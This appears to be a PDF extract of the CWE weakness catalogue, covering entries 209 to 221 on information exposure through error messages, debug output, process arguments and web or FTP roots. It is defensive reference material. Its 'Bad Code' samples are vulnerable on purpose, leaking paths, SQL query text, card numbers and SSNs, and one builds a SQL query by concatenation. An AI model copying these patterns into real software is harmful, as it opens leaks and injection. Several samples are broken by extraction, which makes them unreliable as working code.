Mapped Taxonomy Name	Mapped Node Name
PLOVER	Timing discrepancy infoleak

#### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
224	Fingerprinting	
462	Cross-Domain Search Timing	

## CWE-209: Information Exposure Through an Error Message

**Weakness ID:** 209 (*Weakness Base*)

**Status:** Draft

#### Description

##### Summary

The software generates an error message that includes sensitive information about its environment, users, or associated data.

##### Extended Description

The sensitive information may be valuable information on its own (such as a password), or it may be useful for launching other, more deadly attacks. If an attack fails, an attacker may use error information provided by the server to launch another more focused attack. For example, an attempt to exploit a path traversal weakness (CWE-22) might yield the full pathname of the

installed application. In turn, this could be used to select the proper number of "." sequences to navigate to the targeted file. An attack using SQL injection (CWE-89) might not initially succeed, but an error message could reveal the malformed query, which would expose query logic and possibly even passwords or other sensitive information used within the query.

#### Time of Introduction

- Architecture and Design
- Implementation
- System Configuration
- Operation

#### Applicable Platforms

##### Languages

- PHP (*Often*)
- All

#### Common Consequences

##### Confidentiality

##### Read application data

Often this will either reveal sensitive information which may be used for a later attack or private information stored in the server.

#### Likelihood of Exploit

High

#### Detection Methods

##### Manual Analysis

##### High

This weakness generally requires domain-specific interpretation using manual analysis. However, the number of potential error conditions may be too large to cover completely within limited time constraints.

##### Automated Analysis

##### Moderate

Automated methods may be able to detect certain idioms automatically, such as exposed stack traces or pathnames, but violation of business rules or privacy requirements is not typically feasible.

##### Automated Dynamic Analysis

##### Moderate

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Error conditions may be triggered with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior.

##### Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them.

For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

#### Demonstrative Examples

##### Example 1:

In the following example, sensitive information might be printed depending on the exception that occurs.

##### Java Example:

*Bad Code*

```
try {
```

```

/.../
}
catch (Exception e) {
    System.out.println(e);
}

```

If an exception related to SQL is handled by the catch, then the output might contain sensitive information such as SQL query structure or private information. If this output is redirected to a web user, this may represent a security problem.

### Example 2:

This code tries to open a database connection, and prints any exceptions that occur.

#### PHP Example:

*Bad Code*

```

try {
    openDbConnection();
}
//print exception message that includes exception message and configuration file location
catch (Exception $e) {
    echo 'Caught exception: ', $e->getMessage(), "\n";
    echo 'Check credentials in config file at: ', $Mysql_config_location, "\n";
}

```

If an exception occurs, the printed message exposes the location of the configuration file the script is using. An attacker can use this information to target the configuration file (perhaps exploiting a Path Traversal weakness). If the file can be read, the attacker could gain credentials for accessing the database. The attacker may also be able to replace the file with a malicious one, causing the application to use an arbitrary database.

### Example 3:

The following code generates an error message that leaks the full pathname of the configuration file.

#### Perl Example:

*Bad Code*

```

$ConfigDir = "/home/myprog/config";
$username = GetUserInput("username");
# avoid CWE-22, CWE-78, others.
ExitError("Bad hacker!") if ($username !~ /\w+$/);
$file = "$ConfigDir/$username.txt";
if (! (-e $file)) {
    ExitError("Error: $file does not exist");
}
...

```

If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that does not produce a \$file that exists, an attacker could get this pathname. It could then be used to exploit path traversal or symbolic link following problems that may exist elsewhere in the application.

### Example 4:

In the example below, the method `getUserBankAccount` retrieves a bank account object from a database using the supplied username and account number to query the database. If an `SQLException` is raised when querying the database, an error message is created and output to a log file.

#### Java Example:

*Bad Code*

```

public BankAccount getUserBankAccount(String username, String accountNumber) {
    BankAccount userAccount = null;
    String query = null;
    try {
        if (isAuthorizedUser(username)) {
            query = "SELECT * FROM accounts WHERE owner = "
                + username + " AND accountID = " + accountNumber;
            DatabaseManager dbManager = new DatabaseManager();
            Connection conn = dbManager.getConnection();

```

```

Statement stmt = conn.createStatement();
ResultSet queryResult = stmt.executeQuery(query);
userAccount = (BankAccount)queryResult.getObject(accountNumber);
}
} catch (SQLException ex) {
String logMessage = "Unable to retrieve account information from database,\nquery: " + query;
Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);
}
return userAccount;
}
}

```

The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.

### Observed Examples

Reference	Description
CVE-2005-0603	Malformed regexp syntax leads to information exposure in error message.
CVE-2007-1409	Direct request to library file in web application triggers pathname leak in error message.
CVE-2007-5172	Program reveals password in error message if attacker can trigger certain database errors.
CVE-2008-1579	Existence of user names can be determined by requesting a nonexistent blog and reading the error message.
CVE-2008-2049	POP3 server reveals a password in an error message after multiple APOP commands are sent. Might be resultant from another weakness.
CVE-2008-3060	Malformed input to login page causes leak of full path when IMAP call fails.
CVE-2008-4638	Composite: application running with high privileges allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file.

### Potential Mitigations

#### Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

#### Implementation

Handle exceptions internally and do not display errors containing potentially sensitive information to a user.

#### Implementation

##### Identify and Reduce Attack Surface

##### Defense in Depth

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

This makes it easier to spot places in the code where data is being used that is unencrypted.

#### Implementation

##### Build and Compilation

##### Compilation or Build Hardening

##### Environment Hardening

Debugging information should not make its way into a production release.

#### System Configuration

Where available, configure the environment to use less verbose error messages. For example, in PHP, disable the `display_errors` setting during configuration, or at runtime using the `error_reporting()` function.

## System Configuration

Create default error pages or messages that do not leak any information.

### Relationships

Nature	Type	ID	Name	Fit	Page
ChildOf		200	Information Exposure	<b>699</b> <b>1000</b>	384
ChildOf		717	OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling	<b>629</b>	1114
ChildOf		728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	<b>711</b>	1119
ChildOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1120
ChildOf		751	2009 Top 25 - Insecure Interaction Between Components	<b>750</b>	1142
ChildOf		755	Improper Handling of Exceptional Conditions	1000	1150
ChildOf		801	2010 Top 25 - Insecure Interaction Between Components	<b>800</b>	1228
ChildOf		815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	<b>809</b>	1247
ChildOf		851	CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)	<b>844</b>	1294
ChildOf		867	2011 Top 25 - Weaknesses On the Cusp	<b>900</b>	1310
ChildOf		880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	<b>868</b>	1317
ChildOf		933	OWASP Top Ten 2013 Category A5 - Security Misconfiguration	<b>928</b>	1359
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377
CanAlsoBe		81	<i>Improper Neutralization of Script in an Error Message Web Page</i>	1000	144
CanAlsoBe		201	<i>Information Exposure Through Sent Data</i>	1000	387
ParentOf		210	<i>Information Exposure Through Self-generated Error Message</i>	<b>699</b> <b>1000</b>	402
ParentOf		211	<i>Information Exposure Through Externally-generated Error Message</i>	<b>699</b> <b>1000</b>	403
ParentOf		550	<i>Information Exposure Through Server Error Message</i>	<b>699</b> <b>1000</b>	888
CanFollow		600	<i>Uncaught Exception in Servlet</i>	1000	941
CanFollow		756	<i>Missing Custom Error Page</i>	1000	1151
MemberOf		884	<i>CWE Cross-section</i>	<b>884</b>	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Accidental leaking of sensitive information through error messages
OWASP Top Ten 2007	A6	CWE More Specific	Information Leakage and Improper Error Handling
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
CERT Java Secure Coding	ERR01-J		Do not allow exceptions to expose sensitive information
CERT C++ Secure Coding	ERR12-CPP		Do not allow exceptions to transmit sensitive information
Software Fault Patterns	SFP23		Exposed Data

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
7	Blind SQL Injection	
54	Probe Application Error Reporting	
214	Fuzzing for garnering J2EE/.NET-based stack traces, for application mapping	
215	Fuzzing and observing application log data/errors for application mapping	

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
463	Padding Oracle Crypto Attack	

## References

- Web Application Security Consortium. "Information Leakage". < [http://www.webappsec.org/projects/threat/classes/information\\_leakage.shtml](http://www.webappsec.org/projects/threat/classes/information_leakage.shtml) >.
- Brian Chess and Jacob West. "Secure Programming with Static Analysis". Section 9.2, page 326.. Addison-Wesley. 2007.
- [REF-8] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 16, "General Good Practices." Page 415. 1st Edition. Microsoft. 2002.
- [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 11: Failure to Handle Errors Correctly." Page 183. McGraw-Hill. 2010.
- [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 12: Information Leakage." Page 191. McGraw-Hill. 2010.
- Johannes Ullrich. "Top 25 Series - Rank 16 - Information Exposure Through an Error Message". SANS Software Security Institute. 2010-03-17. < <http://software-security.sans.org/blog/2010/03/17/top-25-series-rank-16-information-exposure-through-an-error-message> >.
- [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Overly Verbose Error Messages", Page 75.. 1st Edition. Addison Wesley. 2006.

# CWE-210: Information Exposure Through Self-generated Error Message

Weakness ID: 210 (*Weakness Base*)

Status: Draft

## Description

### Summary

The software identifies an error condition and creates its own diagnostic or error messages that contain sensitive information.

### Time of Introduction

- Architecture and Design
- Implementation
- Operation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Confidentiality

#### Read application data

### Demonstrative Examples

The following code uses custom configuration files for each user in the application. It checks to see if the file exists on the system before attempting to open and use the file. If the configuration file does not exist, then an error is generated, and the application exits.

#### Perl Example:

*Bad Code*

```
$uname = Get userInput("username");
# avoid CWE-22, CWE-78, others.
if ($uname !~ /^w+$/)
{
    ExitError("Bad hacker!");
}
$filename = "/home/myprog/config/" . $uname . ".txt";
if (!( -e $filename ))
{
    ExitError("Error: $filename does not exist");
}
```



If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that is not associated with a configuration file, an attacker could get this pathname from the error message. It could then be used to exploit path traversal, symbolic link following, or other problems that may exist elsewhere in the application.

### Observed Examples

Reference	Description
CVE-2005-1745	Infoleak of sensitive information in error message (physical access required).

### Potential Mitigations

#### Implementation

#### Build and Compilation

#### Compilation or Build Hardening

#### Environment Hardening

Debugging information should not make its way into a production release.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		209	Information Exposure Through an Error Message	<b>699</b> <b>1000</b>	397
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377
ParentOf		535	<i>Information Exposure Through Shell Error Message</i>	<b>699</b> <b>1000</b>	874
ParentOf		536	<i>Information Exposure Through Servlet Runtime Error Message</i>	<b>699</b> <b>1000</b>	875
ParentOf		537	<i>Information Exposure Through Java Runtime Error Message</i>	<b>699</b> <b>1000</b>	876

### Functional Areas

- Non-specific

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Product-Generated Error Message Infoleak
Software Fault Patterns	SFP23	Exposed Data

### References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 12: Information Leakage." Page 191. McGraw-Hill. 2010.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Overly Verbose Error Messages", Page 75.. 1st Edition. Addison Wesley. 2006.

## CWE-211: Information Exposure Through Externally-generated Error Message

Weakness ID: 211 (*Weakness Base*)

Status: Incomplete

### Description

#### Summary

The software performs an operation that triggers an external diagnostic or error message that is not directly generated by the software, such as an error generated by the programming language interpreter that the software uses. The error can contain sensitive system information.

#### Time of Introduction

- Architecture and Design
- Implementation
- Operation

#### Applicable Platforms

##### Languages

- PHP (*Often*)

- All

## Common Consequences

### Confidentiality

Read application data

## Enabling Factors for Exploitation

PHP applications are often targeted for having this issue when the PHP interpreter generates the error outside of the application's control. However, it's not just restricted to PHP, as other languages/environments exhibit the same issue.

## Observed Examples

Reference	Description
CVE-2004-1101	Improper handling of filename request with trailing "/" causes multiple consequences, including information leak in Visual Basic error message.
CVE-2004-1579	Single "" inserted into SQL query leads to invalid SQL query execution, triggering full path disclosure. Possibly resultant from more general SQL injection issue.
CVE-2004-1581	chain: product does not protect against direct request of an include file, leading to resultant path disclosure when the include file does not successfully execute.
CVE-2005-0433	Various invalid requests lead to information leak in verbose error messages describing the failure to instantiate a class, open a configuration file, or execute an undefined function.
CVE-2005-0443	invalid parameter triggers a failure to find an include file, leading to infoleak in error message.
CVE-2005-0459	chain: product does not protect against direct request of a library file, leading to resultant path disclosure when the file does not successfully execute.

## Potential Mitigations

### System Configuration

Configure the application's environment in a way that prevents errors from being generated. For example, in PHP, disable `display_errors`.

### Implementation

#### Build and Compilation

#### Compilation or Build Hardening

#### Environment Hardening

Debugging information should not make its way into a production release.

### Implementation

Handle exceptions internally and do not display errors containing potentially sensitive information to a user. Create default error pages if necessary.

### Implementation

The best way to prevent this weakness during implementation is to avoid any bugs that could trigger the external error message. This typically happens when the program encounters fatal errors, such as a divide-by-zero. You will not always be able to control the use of error pages, and you might not be using a language that handles exceptions.

## Weakness Ordinalities

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>B</b>	209	Information Exposure Through an Error Message	<b>699</b>	397
ChildOf	<b>C</b>	963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

## Relationship Notes

This is inherently a resultant vulnerability from a weakness within the product or an interaction error.

## Functional Areas

- Error handling

## Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Product-External Error Message Infoleak

## CWE-212: Improper Cross-boundary Removal of Sensitive Data

Weakness ID: 212 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software uses a resource that contains sensitive data, but it does not properly remove that data before it stores, transfers, or shares the resource with actors in another control sphere.

#### Extended Description

Resources that may contain sensitive data include documents, packets, messages, databases, etc. While this data may be useful to an individual user or small set of users who share the resource, it may need to be removed before the resource can be shared outside of the trusted group. The process of removal is sometimes called cleansing or scrubbing.

For example, software that is used for editing documents might not remove sensitive data such as reviewer comments or the local pathname where the document is stored. Or, a proxy might not remove an internal IP address from headers before making an outgoing request to an Internet site.

#### Terminology Notes

The terms "cleansing" and "scrubbing" have multiple uses within computing. In information security, these are used for the removal of sensitive data, but they are also used for the modification of incoming/outgoing data so that it conforms to specifications.

#### Time of Introduction

- Architecture and Design
- Implementation
- Operation

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences

##### Confidentiality

##### Read files or directories

##### Read application data

Sensitive data may be exposed to an unauthorized actor in another control sphere. This may have a wide range of secondary consequences which will depend on what data is exposed. One possibility is the exposure of system data allowing an attacker to craft a specific, more effective attack.

#### Demonstrative Examples

This code either generates a public HTML user information page or a JSON response containing the same user information.

##### PHP Example:

Bad Code

```
// API flag, output JSON if set
$json = $_GET['json']
$username = $_GET['user']
if(!$json)
{
    $record = getUserRecord($username);
    foreach($record as $fieldName => $fieldValue)
    {
        if($fieldName == "email_address") {
            // skip displaying user emails
            continue;
        }
    }
    else{
```

```

writeToHtmlPage($fieldName,$fieldValue);
}
}
}
else
{
$record = getUserRecord($username);
echo json_encode($record);
}
}

```

The programmer is careful to not display the user's e-mail address when displaying the public HTML page. However, the e-mail address is not removed from the JSON response, exposing the user's e-mail address.

### Observed Examples

Reference	Description
CVE-2002-0704	NAT feature in firewall leaks internal IP addresses in ICMP error messages.
CVE-2005-0406	Some image editors modify a JPEG image, but the original EXIF thumbnail image is left intact within the JPEG. (Also an interaction error).

### Potential Mitigations

#### Requirements

Clearly specify which information should be regarded as private or sensitive, and require that the product offers functionality that allows the user to cleanse the sensitive information from the resource before it is published or exported to other parties.

#### Architecture and Design

##### Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

#### Implementation

##### Identify and Reduce Attack Surface

##### Defense in Depth








Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

This makes it easier to spot places in the code where data is being used that is unencrypted.

#### Implementation

Avoid errors related to improper resource shutdown or release (CWE-404), which may leave the sensitive data within the resource if it is in an incomplete state.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		200	Information Exposure	<b>699</b>	384
ChildOf		669	Incorrect Resource Transfer Between Spheres	1000	1036
ChildOf		808	2010 Top 25 - Weaknesses On the Cusp	800	1244
ChildOf		867	2011 Top 25 - Weaknesses On the Cusp	900	1310
ChildOf		963	SFP Secondary Cluster: Exposed Data	888	1377
CanAlsoBe		226	<i>Sensitive Information Uncleared Before Release</i>	1000	417
MemberOf		884	<i>CWE Cross-section</i>	884	1319

### Relationship Notes

This entry is intended to be different from resultant information leaks, including those that occur from improper buffer initialization and reuse, improper encryption, interaction errors, and multiple

interpretation errors. This entry could be regarded as a privacy leak, depending on the type of information that is leaked.

There is a close association between CWE-226 and CWE-212. The difference is partially that of perspective. CWE-226 is geared towards the final stage of the resource lifecycle, in which the resource is deleted, eliminated, expired, or otherwise released for reuse. Technically, this involves a transfer to a different control sphere, in which the original contents of the resource are no longer relevant. CWE-212, however, is intended for sensitive data in resources that are intentionally shared with others, so they are still active. This distinction is useful from the perspective of the CWE research view (CWE-1000).

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Cross-Boundary Cleansing Infoleak

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
168	Windows ::DATA Alternate Data Stream	

## CWE-213: Intentional Information Exposure

**Weakness ID:** 213 (*Weakness Base*) **Status:** Draft

### Description

#### Summary

A product's design or configuration explicitly requires the publication of information that could be regarded as sensitive by an administrator.

#### Time of Introduction

- Architecture and Design
- Implementation
- Operation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Confidentiality

Read application data

#### Demonstrative Examples

This code displays some information on a web page.

##### JSP Example:

*Bad Code*

```
Social Security Number: <%= ssn %></br>Credit Card Number: <%= ccn %>
```

The code displays a user's credit card and social security numbers, even though they aren't absolutely necessary.

#### Observed Examples

Reference	Description
CVE-2002-1725	Script calls phpinfo()
CVE-2003-1038	Product lists DLLs and full pathnames.
CVE-2003-1181	Script calls phpinfo()
CVE-2004-0033	Script calls phpinfo()
CVE-2004-1422	Script calls phpinfo()
CVE-2004-1590	Script calls phpinfo()
CVE-2005-0488	Telnet protocol allows servers to obtain sensitive environment information from clients.
CVE-2005-1205	Telnet protocol allows servers to obtain sensitive environment information from clients.

#### Other Notes

It's not always clear whether an information exposure is intentional or not. For example, CVE-2005-3261 identifies a PHP script that lists file versions, but it could be that the developer did not intend for this information to be public, but introduced a direct request issue instead.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		200	Information Exposure	699	384
ChildOf		963	SFP Secondary Cluster: Exposed Data	1000	
				888	1377

**Relationship Notes**

This overlaps other categories because some functionality might be intended by the developer, but is considered a weakness by the user or system administrator. In most cases, it is distinct from CWE-209: Information Exposure Through an Error Message because CWE-209 is often unintended.

**Theoretical Notes**

In vulnerability theory terms, this covers cases in which the developer's Intended Policy allows the information to be made available, but the information might be in violation of a Universal Policy in which the product's administrator should have control over which information is considered sensitive and therefore should not be exposed.

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Intended information leak

## CWE-214: Information Exposure Through Process Environment

**Weakness ID:** 214 (*Weakness Variant*)

**Status:** Incomplete

**Description****Summary**

A process is invoked with sensitive arguments, environment variables, or other elements that can be seen by other processes on the operating system.

**Extended Description**

Many operating systems allow a user to list information about processes that are owned by other users. This information could include command line arguments or environment variable settings. When this data contains sensitive information such as credentials, it might allow other users to launch an attack against the software or related resources.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms****Languages**

- All

**Common Consequences****Confidentiality**

Read application data

**Demonstrative Examples**

In the example below, the password for a keystore file is read from a system property.

**Java Example:**

*Bad Code*




```
String keystorePass = System.getProperty("javax.net.ssl.keyStorePassword");
if (keystorePass == null) {
    System.err.println("ERROR: Keystore password not specified.");
    System.exit(-1);
}
...
```

If the property is defined on the command line when the program is invoked (using the -D... syntax), the password may be displayed in the OS process list.

## Observed Examples

Reference	Description
CVE-1999-1270	PGP passphrase provided as command line argument.
CVE-2001-1565	username/password on command line allows local users to view via "ps" or other process listing programs
CVE-2004-1058	Kernel race condition allows reading of environment variables of a process that is still spawning.
CVE-2004-1948	Username/password on command line allows local users to view via "ps" or other process listing programs.
CVE-2005-1387	password passed on command line
CVE-2005-2291	password passed on command line

## Relationships

Nature	Type	ID	Name		Page
ChildOf		200	Information Exposure	<input checked="" type="checkbox"/>	<b>699</b> <b>1000</b>
ChildOf		634	Weaknesses that Affect System Processes		<b>631</b> 982
ChildOf		963	SFP Secondary Cluster: Exposed Data		<b>888</b> 1377

## Research Gaps

Under-studied, especially environment variables.

## Affected Resources

- System Process

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Process information infoleak to other processes
Software Fault Patterns	SFP23	Exposed Data

# CWE-215: Information Exposure Through Debug Information

Weakness ID: 215 (*Weakness Variant*)

Status: Draft

## Description

### Summary

The application contains debugging code that can expose sensitive information to untrusted parties.

## Time of Introduction

- Architecture and Design
- Implementation
- Operation

## Applicable Platforms

### Languages

- All

## Common Consequences

### Confidentiality

Read application data

## Demonstrative Examples

The following program changes its behavior based on a debug flag.

### JSP Example:

*Bad Code*

```
<% if (Boolean.getBoolean("debugEnabled")) {
  %>
  User account number: <%= acctNo %>
  <%
} %>
```

The code writes sensitive debug information to the client browser if the "debugEnabled" flag is set to true .



## Observed Examples

Reference	Description
CVE-2002-0918	CGI script includes sensitive information in debug messages when an error is triggered.
CVE-2003-1078	FTP client with debug option enabled shows password to the screen.
CVE-2004-2268	Password exposed in debug information.

## Potential Mitigations

### Implementation

Do not leave debug statements that could be executed in the source code. Assure that all debug information is eradicated before releasing the software.

### Architecture and Design

#### Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf		200	Information Exposure	<b>699</b> <b>1000</b>	384
ChildOf		717	OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling	<b>629</b>	1114
ChildOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	<b>711</b>	1120
ChildOf		933	OWASP Top Ten 2013 Category A5 - Security Misconfiguration	<b>928</b>	1359
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377
ParentOf		11	ASP.NET Misconfiguration: Creating Debug Binary	<b>1000</b>	8

## Relationship Notes

This overlaps other categories.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Infoleak Using Debug Information
OWASP Top Ten 2007	A6	CWE More Specific	Information Leakage and Improper Error Handling
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
Software Fault Patterns	SFP23		Exposed Data

# CWE-216: Containment Errors (Container Errors)

**Weakness ID:** 216 (*Weakness Class*)**Status:** Incomplete

## Description

### Summary

This tries to cover various problems in which improper data are included within a "container."

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

Other

Other










**Potential Mitigations****Architecture and Design****Separation of Privilege**

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality.

Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		199	Information Management Errors	<b>699</b>	384
ChildOf		485	Insufficient Encapsulation	<b>1000</b>	819
ChildOf		978	SFP Secondary Cluster: Implementation	<b>888</b>	1383
RequiredBy		61	UNIX Symbolic Link (Symlink) Following	1000	95
PeerOf		98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	1000	184
ParentOf		219	Sensitive Data Under Web Root	<b>699</b> 1000	412
ParentOf		220	Sensitive Data Under FTP Root	<b>699</b>	412
RequiredBy		426	Untrusted Search Path	1000	729
ParentOf		493	Critical Public Variable Without Final Modifier	1000	833

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Containment errors (container errors)

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
474	Signature Spoofing by Key Theft	

**Maintenance Notes**

This entry is closely associated with others related to encapsulation and permissions, and might ultimately prove to be a duplicate.

## CWE-217: DEPRECATED: Failure to Protect Stored Data from Modification

**Weakness ID:** 217 (Deprecated Weakness Base) **Status:** Deprecated

**Description****Summary**

This weakness has been deprecated because it incorporated and confused multiple weaknesses. The issues formerly covered in this weakness can be found at CWE-766 and CWE-767.

## CWE-218: DEPRECATED (Duplicate): Failure to provide confidentiality for stored data

**Weakness ID:** 218 (Deprecated Weakness Base) **Status:** Deprecated

**Description****Summary**

This weakness has been deprecated because it was a duplicate of CWE-493. All content has been transferred to CWE-493.

# CWE-219: Sensitive Data Under Web Root

Weakness ID: 219 (Weakness Variant) Status: Draft

## Description

### Summary

The application stores sensitive data under the web document root with insufficient access control, which might make it accessible to untrusted parties.

### Time of Introduction

- Operation
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Confidentiality

Read application data

### Observed Examples

Reference	Description
CVE-2002-0943	Database file under web root.
CVE-2002-1449	Username/password in data file under web root.
CVE-2005-1645	database file under web root.
CVE-2005-1835	Data file under web root.
CVE-2005-2217	Data file under web root.

### Potential Mitigations

#### Implementation








##### System Configuration

Avoid storing information under the web root directory.

##### System Configuration

Access control permissions should be set to prevent reading/writing of sensitive files inside/outside of the web directory.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		216	Containment Errors (Container Errors)	699	410
ChildOf		285	Improper Authorization	1000	501
CanPrecede		668	Exposure of Resource to Wrong Sphere	1000	1035
ChildOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1120
ChildOf		815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	809	1247
ChildOf		963	SFP Secondary Cluster: Exposed Data	888	1377
ParentOf		433	Unparsed Raw Web Content Delivery	1000	741

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Sensitive Data Under Web Root
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management

# CWE-220: Sensitive Data Under FTP Root

Weakness ID: 220 (Weakness Variant) Status: Draft

## Description

### Summary

The application stores sensitive data under the FTP document root with insufficient access control, which might make it accessible to untrusted parties.

**Time of Introduction**

- Operation
- Architecture and Design

**Applicable Platforms****Languages**

- All

**Common Consequences****Confidentiality**

Read application data

**Potential Mitigations****Implementation****System Configuration**

Avoid storing information under the FTP root directory.




**System Configuration**

Access control permissions should be set to prevent reading/writing of sensitive files inside/outside of the FTP directory.

**Background Details**

Various Unix FTP servers require a password file that is under the FTP root, due to use of chroot.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		216	Containment Errors (Container Errors)	<b>699</b>	410
ChildOf		668	Exposure of Resource to Wrong Sphere	<b>1000</b>	1035
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Sensitive Data Under FTP Root

## CWE-221: Information Loss or Omission

**Weakness ID:** 221 (*Weakness Class*)

**Status:** Incomplete

**Description****Summary**

The software does not record, or improperly records, security-relevant information that leads to an incorrect decision or hampers later analysis.

**Extended Description**

This can be resultant, e.g. a buffer overflow might trigger a crash before the product can log the event.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation





**Applicable Platforms****Languages**

- All

**Common Consequences****Non-Repudiation**

Hide activities

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		199	Information Management Errors	<b>699</b>	384
